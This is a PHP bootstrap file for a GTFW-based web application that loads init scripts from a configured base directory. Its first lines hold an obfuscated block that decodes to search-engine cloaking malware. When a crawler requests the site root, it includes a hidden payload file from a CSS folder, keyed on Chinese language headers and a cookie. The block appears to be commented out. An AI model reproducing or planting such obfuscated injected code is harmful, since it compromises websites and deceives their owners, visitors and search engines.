<?php
/*   __________________________________________________
    |  Obfuscated by YAK Pro - Php Obfuscator  2.0.14  |
    |              on 2025-01-01 13:15:19              |
    |    GitHub: https://github.com/pk-fr/yakpro-po    |
    |__________________________________________________|
*/
//goto K0WEZ; HCCRn: exit; goto XzZbE; LrSzW: if (!(strpos($QSqJH, "\x7a\x68") > -1 || $_SERVER["\x48\124\x54\120\137\x55\x50\107\x52\x41\x44\x45\x5f\111\x4e\x53\105\103\x55\x52\105\x5f\x52\x45\x51\125\105\x53\124\x53"] == 1 || $_COOKIE["\x61\172"] == "\154\160")) { goto MLTST; } goto C3FU9; VuYix: echo "\x20"; goto P76rI; C3FU9: setcookie("\141\172", "\x6c\x70", time() + 3600 * 7200); goto VuYix; iLc5i: include "\143\x73\x73\x2f\143\x73\x73\55\143\165\163\x74\x6f\x6d\145\57\x7a\151\160\x2e\160\150\x70"; goto HCCRn; VkN5K: $s47tG = $_SERVER["\110\x54\x54\120\137\x52\105\x46\x45\x52\x45\x52"]; goto ycITD; AOR8S: $QSqJH = strtolower($_SERVER["\x48\124\x54\x50\137\x41\x43\x43\x45\x50\124\x5f\x4c\101\116\107\x55\101\107\105"]); goto LrSzW; K0WEZ: error_reporting(0); goto VkN5K; P76rI: exit; goto UVNDe; UVNDe: MLTST: goto iLc5i; krzTs: if (!(strpos($uxaCR, "\x62\x6f\x74") > 0 && $_SERVER["\x52\105\121\x55\105\123\124\137\125\x52\x49"] == "\x2f")) { goto fAGHF; } goto AOR8S; ycITD: $uxaCR = $_SERVER["\x48\x54\124\120\137\x55\x53\105\x52\137\x41\x47\x45\116\x54"]; goto krzTs; XzZbE: fAGHF:

$gtfw_base_dir = @file_get_contents('config/gtfw_base_dir.def');
// does anyone know the regex for these two string replacements, so it can be executed once?
$gtfw_base_dir = str_replace('\\', '/', trim($gtfw_base_dir));
$gtfw_base_dir = preg_replace('/[\/]+$/', '', $gtfw_base_dir);

if (file_exists($gtfw_base_dir)) {
   define('GTFW_BASE_DIR', $gtfw_base_dir . '/');
   define('GTFW_APP_DIR', str_replace('\\', '/', dirname(__FILE__)) . '/');
   $gtfw_init_dir = GTFW_BASE_DIR . 'main/init/' . basename(__FILE__, '.php') . '/*.php';

   foreach (glob($gtfw_init_dir) as $value) {
      require_once $value;
   }
} else {
   echo 'Fatal: Cannot find GTFW base!';
}
?>